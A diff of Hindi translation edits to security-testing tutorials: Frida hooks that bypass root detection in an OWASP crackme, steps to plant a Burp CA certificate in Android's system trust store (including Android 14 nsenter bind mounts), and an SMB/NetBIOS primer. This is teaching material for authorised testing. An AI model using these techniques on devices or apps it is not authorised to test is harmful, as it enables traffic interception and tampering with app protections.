**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
|
||||
|
||||
**पढ़ने के लिए [यहाँ क्लिक करें](owaspuncrackable-1.md).**
|
||||
**Follow the [link to read it](owaspuncrackable-1.md).**
|
||||
|
||||
**आप यहां और Awesome Frida scripts पा सकते हैं:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
|
||||
## त्वरित उदाहरण
|
||||
|
||||
### कमांड लाइन से Frida कॉल करना
|
||||
### command line से Frida कॉल करना
|
||||
```bash
|
||||
frida-ps -U
|
||||
|
||||
@ -114,7 +114,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
||||
#frozen so that the instrumentation can occur, and the automatically
|
||||
#continue execution with our modified code.
|
||||
```
|
||||
### बेसिक Python स्क्रिप्ट
|
||||
### बुनियादी Python Script
|
||||
```python
|
||||
import frida, sys
|
||||
|
||||
@ -125,7 +125,7 @@ print('[ * ] Running Frida Demo application')
|
||||
script.load()
|
||||
sys.stdin.read()
|
||||
```
|
||||
### बिना पैरामीटर वाले फ़ंक्शनों का Hooking
|
||||
### Hooking functions without parameters
|
||||
|
||||
क्लास `sg.vantagepoint.a.c` के फ़ंक्शन `a()` को Hook करें
|
||||
```javascript
|
||||
@ -137,7 +137,7 @@ return false;
|
||||
};
|
||||
});
|
||||
```
|
||||
java के `exit()` को Hook करें
|
||||
Hook java `exit()`
|
||||
```javascript
|
||||
var sysexit = Java.use("java.lang.System")
|
||||
sysexit.exit.overload("int").implementation = function (var_0) {
|
||||
@ -168,9 +168,9 @@ send("Activity HIT!!!")
|
||||
var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0)
|
||||
}
|
||||
```
|
||||
### Hooking functions with parameters और वैल्यू प्राप्त करना
|
||||
### पैरामीटर्स वाले फ़ंक्शनों को Hook करना और value प्राप्त करना
|
||||
|
||||
एक decryption function को Hook करना। input प्रिंट करें, मूल function को कॉल करें, input को decrypt करें और अंत में, plain data प्रिंट करें:
|
||||
एक decryption function को Hook करना। input को प्रिंट करें, original function को कॉल करके input को decrypt करें और अंत में plain data प्रिंट करें:
|
||||
```javascript
|
||||
function getString(data) {
|
||||
var ret = ""
|
||||
@ -197,7 +197,7 @@ return ret //[B
|
||||
```
|
||||
### Hooking functions और उन्हें हमारे इनपुट के साथ कॉल करना
|
||||
|
||||
Hook एक function जो एक string प्राप्त करता है और उसे किसी अन्य string के साथ कॉल करें (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
एक function जो एक string प्राप्त करता है, उसे Hook करें और उसे किसी अन्य string के साथ कॉल करें (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||
```javascript
|
||||
var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class
|
||||
|
||||
@ -210,11 +210,11 @@ console.log("Return value: " + ret)
|
||||
return ret
|
||||
}
|
||||
```
|
||||
### किसी पहले से बनाए गए class के object को प्राप्त करना
|
||||
### किसी क्लास के पहले से बनाए गए ऑब्जेक्ट को प्राप्त करना
|
||||
|
||||
यदि आप किसी बनाए गए object का कोई attribute निकालना चाहते हैं तो आप इसे उपयोग कर सकते हैं।
|
||||
यदि आप बनाए गए ऑब्जेक्ट का कोई attribute निकालना चाहते हैं तो आप इसे इस्तेमाल कर सकते हैं।
|
||||
|
||||
इस उदाहरण में आप देखेंगे कि class my_activity का object कैसे प्राप्त किया जाए और कैसे .secret() function को कॉल करें जो object का एक private attribute print करेगा:
|
||||
इस उदाहरण में आप देखेंगे कि क्लास my_activity का ऑब्जेक्ट कैसे प्राप्त किया जाता है और कैसे .secret() फ़ंक्शन को कॉल किया जाता है जो ऑब्जेक्ट का एक private attribute प्रिंट करेगा:
|
||||
```javascript
|
||||
Java.choose("com.example.a11x256.frida_test.my_activity", {
|
||||
onMatch: function (instance) {
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
# Burp सर्टिफिकेट इंस्टॉल करें
|
||||
# Burp प्रमाणपत्र इंस्टॉल करें
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## ADB के माध्यम से सिस्टम-व्यापी प्रॉक्सी
|
||||
## ADB के माध्यम से सिस्टम-वाइड proxy
|
||||
|
||||
एक वैश्विक HTTP प्रॉक्सी कॉन्फ़िगर करें ताकि सभी ऐप्स का ट्रैफ़िक आपके इंटरसेप्टर (Burp/mitmproxy) के माध्यम से जाए:
|
||||
एक ग्लोबल HTTP proxy कॉन्फ़िगर करें ताकि सभी ऐप्स का ट्रैफ़िक आपके interceptor (Burp/mitmproxy) के माध्यम से होकर गुज़रें:
|
||||
```bash
|
||||
# Set proxy (device/emulator must reach your host IP)
|
||||
adb shell settings put global http_proxy 192.168.1.2:8080
|
||||
@ -13,20 +13,19 @@ adb shell settings put global http_proxy 192.168.1.2:8080
|
||||
# Clear proxy
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
टिप: Burp में अपना listener 0.0.0.0 से bind करें ताकि LAN पर डिवाइस कनेक्ट कर सकें (Proxy -> Options -> Proxy Listeners).
|
||||
Tip: Burp में अपने listener को 0.0.0.0 पर बाइंड करें ताकि LAN पर डिवाइस कनेक्ट कर सकें (Proxy -> Options -> Proxy Listeners).
|
||||
|
||||
## एक वर्चुअल मशीन पर
|
||||
## वर्चुअल मशीन पर
|
||||
|
||||
सबसे पहले आपको Burp से Der certificate डाउनलोड करना होगा। आप यह _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ में कर सकते हैं।
|
||||
सबसे पहले आपको Burp से Der certificate डाउनलोड करने की आवश्यकता है। आप यह _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ में कर सकते हैं
|
||||
|
||||
.png>)
|
||||
|
||||
**Der फॉर्मेट में certificate export करें** और चलिए इसे उस फॉर्म में बदलते हैं जिसे **Android** समझ सके। ध्यान दें कि **AVD में Android मशीन पर burp certificate configure करने के लिए** आपको यह मशीन **`-writable-system`** विकल्प के साथ **run** करना होगा।\
|
||||
उदाहरण के लिए आप इसे इस तरह चला सकते हैं:
|
||||
**Export the certificate in Der format** और आइए इसे एक ऐसे फॉर्म में बदलते हैं जिसे **Android** समझ सके। ध्यान दें कि **burp certificate को Android मशीन में AVD में configure करने के लिए** आपको इस मशीन को **run** **with** **`-writable-system`** विकल्प के साथ चलाना होगा.\ उदाहरण के लिए आप इसे इस तरह चला सकते हैं:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
फिर, **burps certificate को कॉन्फ़िगर करने के लिए**:
|
||||
फिर, **burps certificate कॉन्फ़िगर करें**:
|
||||
```bash
|
||||
openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem
|
||||
CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0"
|
||||
@ -37,43 +36,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc
|
||||
adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges
|
||||
adb reboot #Now, reboot the machine
|
||||
```
|
||||
जब **मशीन का पुनरारंभ पूरा होने के बाद** तो Burp प्रमाणपत्र इसका उपयोग करने लगेगा!
|
||||
जब मशीन **rebooting पूरा कर लेगी** तो Burp certificate उस पर लागू हो जाएगा!
|
||||
|
||||
## Magisc का उपयोग
|
||||
|
||||
यदि आपने अपना डिवाइस **Magisc के साथ rooted** किया है (शायद एक emulator), और आप पिछले **steps** का पालन करके Burp cert इंस्टॉल नहीं कर पा रहे क्योंकि **filesystem is read-only** है और आप उसे writable के लिए remount नहीं कर सकते, तो एक और तरीका है।
|
||||
यदि आपने **Magisc से अपना डिवाइस rooted** किया है (शायद एक emulator), और आप पिछले **steps** को Burp cert इंस्टॉल करने के लिए **follow नहीं कर पाए** क्योंकि **filesystem is read-only** है और आप उसे writable के रूप में remount नहीं कर पा रहे हैं, तो एक और तरीका है।
|
||||
|
||||
जैसा कि [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) में बताया गया है, आपको यह करना होगा:
|
||||
Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you need to:
|
||||
|
||||
1. **Install a CA certificate**: बस मोबाइल में DER Burp certificate को **drag&drop** करें और इसकी extension `.crt` में बदलें ताकि यह Downloads फोल्डर में सेव हो जाए और फिर `Install a certificate` -> `CA certificate` पर जाएँ
|
||||
1. **Install a CA certificate**: बस **drag&drop** करके DER Burp certificate की extension को `.crt` में बदल कर मोबाइल के Downloads फोल्डर में रखें और `Install a certificate` -> `CA certificate` पर जाएँ
|
||||
|
||||
<figure><img src="../../images/image (53).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
- पुष्टि करें कि प्रमाणपत्र सही तरीके से संग्रहित हुआ है: `Trusted credentials` -> `USER` पर जाएँ
|
||||
- जाँच करें कि certificate सही तरीके से स्टोर हुआ है: `Trusted credentials` -> `USER` पर जाकर
|
||||
|
||||
<figure><img src="../../images/image (54).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Make it System trusted**: Magisc मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip फ़ाइल) डाउनलोड करें, उसे फोन में **drag&drop** करें, फोन में **Magics app** खोलें और **`Modules`** सेक्शन में जाएँ, **`Install from storage`** पर क्लिक करें, `.zip` मॉड्यूल चुनें और इंस्टॉल होने के बाद फोन को **reboot** करें:
|
||||
2. **Make it System trusted**: Magisc module [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (.zip file) डाउनलोड करें, उसे फोन में **drag&drop** करें, फोन में **Magics app** खोलकर **`Modules`** सेक्शन पर जाएँ, **`Install from storage`** पर क्लिक करें, `.zip` module चुनें और install होने के बाद फोन **reboot** करें:
|
||||
|
||||
<figure><img src="../../images/image (55).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
- रीबूट के बाद, `Trusted credentials` -> `SYSTEM` पर जाएँ और जाँच करें कि Postswigger cert वहाँ है
|
||||
- रिबूट के बाद `Trusted credentials` -> `SYSTEM` पर जाकर देखें कि Postswigger cert वहाँ मौजूद है
|
||||
|
||||
<figure><img src="../../images/image (56).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
### Magisc मॉड्यूल कैसे बनाना सीखें
|
||||
### Magisc module बनाना सीखें
|
||||
|
||||
Check [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
|
||||
देखें [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437)
|
||||
|
||||
## Android 14 के बाद
|
||||
|
||||
हाल के Android 14 रिलीज़ में system-trusted Certificate Authority (CA) प्रमाणपत्रों के हैंडलिंग में एक बड़ा बदलाव देखा गया है। पहले ये प्रमाणपत्र **`/system/etc/security/cacerts/`** में रखे जाते थे, जिन्हें root privileges वाले उपयोगकर्ता एक्सेस और मॉडिफाई कर सकते थे, जिससे ये तुरंत पूरे सिस्टम में प्रभावी होते थे। हालांकि, Android 14 में इनका स्टोरेज स्थान **`/apex/com.android.conscrypt/cacerts`** पर शिफ्ट कर दिया गया है, जो **`/apex`** पाथ के भीतर का एक डायरेक्टरी है और प्रकृतिगत रूप से immutable है।
|
||||
Android 14 की हालिया रिलीज़ में system-trusted Certificate Authority (CA) certificates के हैंडलिंग में एक महत्वपूर्ण बदलाव आया है। पहले ये certificates **`/system/etc/security/cacerts/`** में रखे जाते थे, जिन्हें root privileges वाले यूज़र्स द्वारा एक्सेस और मॉडिफाई किया जा सकता था और ये बदलाव सिस्टम-व्यापी तुरंत लागू होते थे। हालांकि, Android 14 के साथ स्टोरेज लोकेशन को **`/apex/com.android.conscrypt/cacerts`** में स्थानांतरित कर दिया गया है, जो **`/apex`** पथ के भीतर आता है और मूलतः immutable है।
|
||||
|
||||
APEX cacerts path को writable के रूप में remount करने के प्रयास विफल होते हैं, क्योंकि सिस्टम ऐसे ऑपरेशन की अनुमति नहीं देता। डायरेक्टरी को unmount करने या temporary file system (tmpfs) के साथ overlay करने के प्रयास भी immutability को पार नहीं कर पाते; एप्लिकेशन फ़ाइल सिस्टम स्तर पर किए गए बदलावों के बावजूद मूल प्रमाणपत्र डेटा तक पहुँचती रहती हैं। यह लचीलापन इसलिए है क्योंकि **`/apex`** माउंट को PRIVATE propagation के साथ कॉन्फ़िगर किया गया है, जिससे **`/apex`** डायरेक्टरी के भीतर किसी भी संशोधन का अन्य प्रक्रियाओं पर प्रभाव नहीं पड़ता।
|
||||
`/apex` के cacerts path को writable के रूप में remount करने का प्रयास विफल रहता है क्योंकि सिस्टम ऐसी ऑपरेशन्स की अनुमति नहीं देता। यहां तक कि directory को unmount करने या उसे tmpfs के साथ overlay करने के प्रयास भी immutability को दरकिनार नहीं कर पाते; applications फ़ाइल सिस्टम स्तर पर किए गए बदलावों के बावजूद मूल certificate डेटा तक पहुँचती रहती हैं। यह मजबूती इसलिए है क्योंकि **`/apex`** माउंट को PRIVATE propagation के साथ कॉन्फ़िगर किया गया है, जिससे **`/apex`** डायरेक्टरी के भीतर किए गए कोई भी संशोधन अन्य प्रोसेसों को प्रभावित नहीं करते।
|
||||
|
||||
Android की initialization में `init` प्रक्रिया शामिल होती है, जो ऑपरेटिंग सिस्टम शुरू होने पर Zygote प्रक्रिया भी शुरू करती है। यह प्रक्रिया application processes को एक नए mount namespace के साथ लॉन्च करने के लिए जिम्मेदार है, जिसमें एक private **`/apex`** mount शामिल होता है, इस तरह इस डायरेक्टरी में किए गए परिवर्तन अन्य प्रक्रियाओं से अलग हो जाते हैं।
|
||||
Android की initialization `init` process द्वारा होती है, जो operating system शुरू होने पर Zygote process को भी initiate करता है। यह process नए mount namespace के साथ application processes लॉन्च करने के लिए जिम्मेदार है, जिसमें एक private **`/apex`** mount शामिल होता है, जिससे इस डायरेक्टरी में किए गए बदलाव अन्य प्रोसेसों से अलग-थलग रहते हैं।
|
||||
|
||||
फिर भी, जिन लोगों को **`/apex`** डायरेक्टरी के भीतर system-trusted CA प्रमाणपत्रों में संशोधन करना आवश्यक है उनके लिए एक workaround मौजूद है। इसमें PRIVATE propagation हटाने के लिए मैन्युअली **`/apex`** को remount करना शामिल है, जिससे यह writable बन जाता है। प्रक्रिया में **`/apex/com.android.conscrypt`** की सामग्री को किसी अन्य स्थान पर कॉपी करना, **`/apex/com.android.conscrypt`** डायरेक्टरी को unmount करना ताकि read-only बाधा हटे, और फिर सामग्री को उसके मूल स्थान पर वापस restore करना शामिल है। इस तरीके के लिए तेज़ कार्रवाई की आवश्यकता होती है ताकि system crashes से बचा जा सके। इन परिवर्तनों को सिस्टम-व्यापी प्रभावी करने के लिए `system_server` को restart करने की सलाह दी जाती है, जो प्रभावी रूप से सभी एप्लिकेशन को restart करता है और सिस्टम को एक consistent स्थिति में लाता है।
|
||||
फिर भी, उन लोगों के लिए एक workaround मौजूद है जिन्हें **`/apex`** डायरेक्टरी के भीतर system-trusted CA certificates को मॉडिफाई करने की आवश्यकता है। इसमें **`/apex`** की PRIVATE propagation को हटाने के लिए मैन्युअल रूप से remount करना शामिल है, जिससे वह writable बन सके। प्रक्रिया में **`/apex/com.android.conscrypt`** की सामग्री को किसी अन्य लोकेशन पर कॉपी करना, फिर **`/apex/com.android.conscrypt`** डायरेक्टरी को unmount करके read-only constraint को हटाना, और फिर सामग्री को मूल स्थान पर restore करना शामिल है। यह तरीका system crashes से बचने के लिए तेज़ कार्रवाई की मांग करता है। इन बदलावों को system-व्यापी प्रभावी करने के लिए `system_server` को restart करने की सिफारिश की जाती है, जो सभी applications को प्रभावी रूप से restart कर सिस्टम को consistent स्थिति में लाता है।
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -133,24 +132,24 @@ echo "System certificate injected"
|
||||
```
|
||||
### Bind-mounting through NSEnter
|
||||
|
||||
1. **Setting Up a Writable Directory**: शुरुआत में, मौजूदा `non-APEX` system certificate डायरेक्टरी के ऊपर `tmpfs` माउंट करके एक लिखने योग्य डायरेक्टरी बनाई जाती है। इसे निम्नलिखित कमांड से किया जाता है:
|
||||
1. **एक लिखने योग्य निर्देशिका सेट करना**: प्रारंभ में, एक लिखने योग्य निर्देशिका बनाई जाती है, मौजूदा non-APEX सिस्टम प्रमाणपत्र निर्देशिका पर `tmpfs` को माउंट करके। यह निम्नलिखित कमांड के साथ किया जाता है:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Preparing CA Certificates**: लिखने योग्य निर्देशिका सेट अप करने के बाद, जिन CA प्रमाणपत्रों का उपयोग करना हो उन्हें इस निर्देशिका में कॉपी करना चाहिए। इसमें संभवतः `/apex/com.android.conscrypt/cacerts/` से डिफ़ॉल्ट प्रमाणपत्रों को कॉपी करना शामिल होगा। इन प्रमाणपत्रों की permissions और SELinux labels को उपयुक्त रूप से समायोजित करना आवश्यक है।
|
||||
3. **Bind Mounting for Zygote**: `nsenter` का उपयोग करते हुए, कोई Zygote के mount namespace में प्रवेश करता है। Zygote, जो Android applications लॉन्च करने के लिए जिम्मेदार प्रक्रिया है, इस कदम की आवश्यकता इसलिए होती है ताकि आगे से शुरू होने वाली सभी एप्लिकेशन नए कॉन्फ़िगर किए गए CA प्रमाणपत्रों का उपयोग करें। उपयोग किया जाने वाला कमांड है:
|
||||
2. **Preparing CA Certificates**: Writable directory की सेटअप के बाद, जिन CA certificates का उपयोग करना है उन्हें इस डायरेक्टरी में कॉपी करना चाहिए। इसमें default certificates को `/apex/com.android.conscrypt/cacerts/` से कॉपी करना शामिल हो सकता है। इन certificates के permissions और SELinux labels को उचित रूप से समायोजित करना आवश्यक है।
|
||||
3. **Bind Mounting for Zygote**: `nsenter` का उपयोग करके, Zygote के mount namespace में प्रवेश किया जाता है। Zygote, जो Android applications लॉन्च करने वाली प्रक्रिया है, के लिए यह कदम आवश्यक है ताकि आगे से शुरू होने वाली सभी एप्लिकेशन नए कॉन्फ़िगर किए गए CA प्रमाणपत्रों का उपयोग करें। उपयोग किया जाने वाला कमांड है:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
यह सुनिश्चित करता है कि शुरू होने वाला हर नया ऐप अपडेट किए गए CA प्रमाणपत्र सेटअप का पालन करेगा।
|
||||
यह सुनिश्चित करता है कि शुरू किया गया हर नया ऐप अपडेट किए गए CA प्रमाणपत्र सेटअप का पालन करेगा।
|
||||
|
||||
4. **चल रहे ऐप्स पर परिवर्तन लागू करना**: पहले से चल रहे applications पर परिवर्तन लागू करने के लिए, `nsenter` का फिर से उपयोग प्रत्येक ऐप के namespace में अलग-अलग प्रवेश करने और समान bind mount करने के लिए किया जाता है। आवश्यक कमांड है:
|
||||
4. **चल रहे ऐप्स पर परिवर्तन लागू करना**: पहले से चल रहे ऐप्स पर परिवर्तन लागू करने के लिए, `nsenter` का पुनः उपयोग करके प्रत्येक ऐप के namespace में व्यक्तिगत रूप से प्रवेश किया जाता है और समान bind mount किया जाता है। आवश्यक कमांड है:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **वैकल्पिक तरीका - Soft Reboot**: एक वैकल्पिक विधि में `init` process (PID 1) पर bind mount करना शामिल है, और उसके बाद ऑपरेटिंग सिस्टम को `stop && start` कमांड से soft reboot करना। यह तरीका सभी namespaces में बदलाव फैलाएगा, जिससे प्रत्येक चल रही app को अलग से संबोधित करने की आवश्यकता नहीं पड़ेगी। हालांकि, इस विधि को आमतौर पर कम पसंद किया जाता है क्योंकि reboot करने में असुविधा होती है।
|
||||
5. **Alternative Approach - Soft Reboot**: एक वैकल्पिक तरीका `init` process (PID 1) पर bind mount करने और उसके बाद ऑपरेटिंग सिस्टम को `stop && start` कमांड्स से soft reboot करने को शामिल करता है। यह तरीका सभी namespaces में बदलाव फैलाएगा, जिससे प्रत्येक चल रहे app को अलग से संबोधित करने की आवश्यकता नहीं पड़ेगी। हालांकि, reboot करने की असुविधा के कारण यह तरीका आम तौर पर कम पसंद किया जाता है।
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [Android 14: Install a system CA certificate on a rooted device](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
|
||||
|
||||
@ -2,63 +2,63 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Port 139**
|
||||
## **पोर्ट 139**
|
||||
|
||||
The _**Network Basic Input Output System**_** (NetBIOS)** एक सॉफ्टवेयर प्रोटोकॉल है जिसे local area network (LAN) के भीतर एप्लिकेशन, PCs, और Desktops को नेटवर्क हार्डवेयर के साथ इंटरैक्ट करने और **नेटवर्क पर डेटा के प्रसारण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर चलने वाले सॉफ़्टवेयर एप्लिकेशन की पहचान और उनका स्थान उनके NetBIOS नामों के माध्यम से निर्धारित किया जाता है, जो अधिकतम 16 वर्ण तक के हो सकते हैं और अक्सर कंप्यूटर नाम से अलग होते हैं। दो एप्लिकेशनों के बीच एक NetBIOS सत्र तब आरंभ होता है जब एक एप्लिकेशन (client के रूप में कार्य करते हुए) दूसरे एप्लिकेशन (server के रूप में कार्य करते हुए) को "call" करने का कमांड जारी करता है, जो **TCP Port 139** का उपयोग करता है।
|
||||
The _**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे लोकल एरिया नेटवर्क (LAN) के भीतर एप्लिकेशन, PCs, और Desktops को नेटवर्क हार्डवेयर के साथ इंटरैक्ट करने और **नेटवर्क के माध्यम से डेटा के संचरण की सुविधा प्रदान करने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर चल रहे सॉफ़्टवेयर एप्लिकेशन की पहचान और स्थान उनके NetBIOS नामों के माध्यम से निर्धारित किए जाते हैं, जो अधिकतम 16 characters तक हो सकते हैं और अक्सर कंप्यूटर नाम से अलग होते हैं। दो एप्लिकेशनों के बीच एक NetBIOS सत्र तब आरंभ होता है जब एक एप्लिकेशन (acting as the client) दूसरी एप्लिकेशन (acting as the server) को "call" करने का कमांड जारी करता है, जो **TCP Port 139** का उपयोग करता है।
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
## Port 445
|
||||
|
||||
तकनीकी रूप से, Port 139 को ‘NBT over IP’ कहा जाता है, जबकि Port 445 को ‘SMB over IP’ के रूप में पहचाना जाता है। संक्षेप **SMB** का अर्थ ‘**Server Message Blocks**’ है, जिसे आधुनिक रूप में **Common Internet File System (CIFS)** के नाम से भी जाना जाता है। एक application-layer नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य उपयोग फाइलों, प्रिंटरों, serial ports तक साझा पहुँच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार के संचार को सुगम बनाने के लिए किया जाता है।
|
||||
तकनीकी रूप से, Port 139 को ‘NBT over IP’ कहा जाता है, जबकि Port 445 को ‘SMB over IP’ कहा जाता है। संक्षेप **SMB** का अर्थ ‘**Server Message Blocks**’ है, जिसे आधुनिक रूप में **Common Internet File System (CIFS)** के नाम से भी जाना जाता है। एक application-layer नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का प्रमुख उपयोग फाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुँच सक्षम करने और नेटवर्क के नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं को सुगम बनाने के लिए होता है।
|
||||
|
||||
उदाहरण के लिए, Windows के संदर्भ में यह बताया जाता है कि SMB port 445 के उपयोग के माध्यम से सीधे TCP/IP पर चल सकता है, जिससे NetBIOS over TCP/IP की आवश्यकता समाप्त हो जाती है। इसके विपरीत, अन्य सिस्टमों पर port 139 के उपयोग का अवलोकन किया जाता है, जो इंगित करता है कि SMB NetBIOS over TCP/IP के साथ संयुक्त रूप से चल रहा है।
|
||||
उदाहरण के लिए, Windows के संदर्भ में यह बताया जाता है कि SMB सीधे TCP/IP के ऊपर काम कर सकता है, जिससे NetBIOS over TCP/IP की आवश्यकता खत्म हो जाती है, जब port 445 का उपयोग किया जाता है। इसके विपरीत, अन्य सिस्टमों पर port 139 का उपयोग देखा जाता है, जो संकेत देता है कि SMB को NetBIOS over TCP/IP के साथ मिलकर चलाया जा रहा है।
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **फ़ाइलों तक पहुँच**, डायरेक्टरीज़, और प्रिंटर व राउटर जैसे अन्य नेटवर्क संसाधनों तक पहुँच को नियंत्रित करने के लिए बनाया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला में उपयोग होने वाला, SMB पिछड़ी संगतता सुनिश्चित करता है, जिससे Microsoft के नए संस्करण वाले डिवाइस बिना बाधा के पुराने संस्करण चलाने वाले डिवाइस के साथ इंटरैक्ट कर सकते हैं। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक फ्री सॉफ़्टवेयर समाधान प्रदान करता है, जो **Linux** और Unix सिस्टम्स पर SMB के कार्यान्वयन को सक्षम बनाता है और इस तरह SMB के माध्यम से क्रॉस‑प्लैटफ़ॉर्म संचार की सुविधा देता है।
|
||||
The **Server Message Block (SMB)** प्रोटोकॉल, जो एक **client-server** मॉडल में काम करता है, **files** तक पहुँच, डायरेक्टरीज़ और प्रिन्टर्स व राउटर्स जैसे अन्य नेटवर्क संसाधनों के एक्सेस को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला में प्रयुक्त, SMB बैकवर्ड कम्पैटिबिलिटी सुनिश्चित करता है, जिससे Microsoft के नए वर्ज़न वाले डिवाइस पुराने वर्ज़न चलाने वाले डिवाइसों के साथ सहजता से इंटरैक्ट कर सकें। अतिरिक्त रूप से, **Samba** प्रोजेक्ट एक फ्री सॉफ्टवेयर समाधान प्रदान करता है, जो **Linux** और Unix सिस्टम पर SMB को इम्प्लीमेंट करने में सक्षम बनाता है और इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म कम्युनिकेशन को संभव बनाता है।
|
||||
|
||||
Shares, जो स्थानीय फ़ाइल सिस्टम के **मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हाइरार्की सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** दिख सकती है। The **Access Control Lists (ACLs)**, जो **पहुंच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-स्तरीय नियंत्रण** की अनुमति देती हैं, जिनमें गुण जैसे **`execute`**, **`read`**, और **`full access`** शामिल हैं। ये अनुमतियाँ shares के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को असाइन की जा सकती हैं, और सर्वर पर सेट स्थानीय अनुमतियों से अलग होती हैं।
|
||||
Shares, जो कि स्थानीय फ़ाइल सिस्टम के **arbitrary parts** का प्रतिनिधित्व करते हैं, SMB server द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरेरकी सर्वर की वास्तविक संरचना से आंशिक रूप से **independent** दिखाई देती है। **Access Control Lists (ACLs)**, जो **access rights** को परिभाषित करते हैं, उपयोगकर्ता अनुमतियों पर **fine-grained control** की अनुमति देते हैं, जिनमें `execute`, `read`, और `full access` जैसे गुण शामिल हैं। ये अनुमतियाँ shares के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को असाइन की जा सकती हैं, और सर्वर पर सेट स्थानीय अनुमतियों से अलग होती हैं।
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
IPC$ share तक पहुँच anonymous null session के माध्यम से प्राप्त की जा सकती है, जो named pipes के माध्यम से एक्सपोज़ की गई सेवाओं के साथ इंटरैक्शन की अनुमति देती है। उपयोगिता `enum4linux` इस उद्देश्य के लिए उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाती है:
|
||||
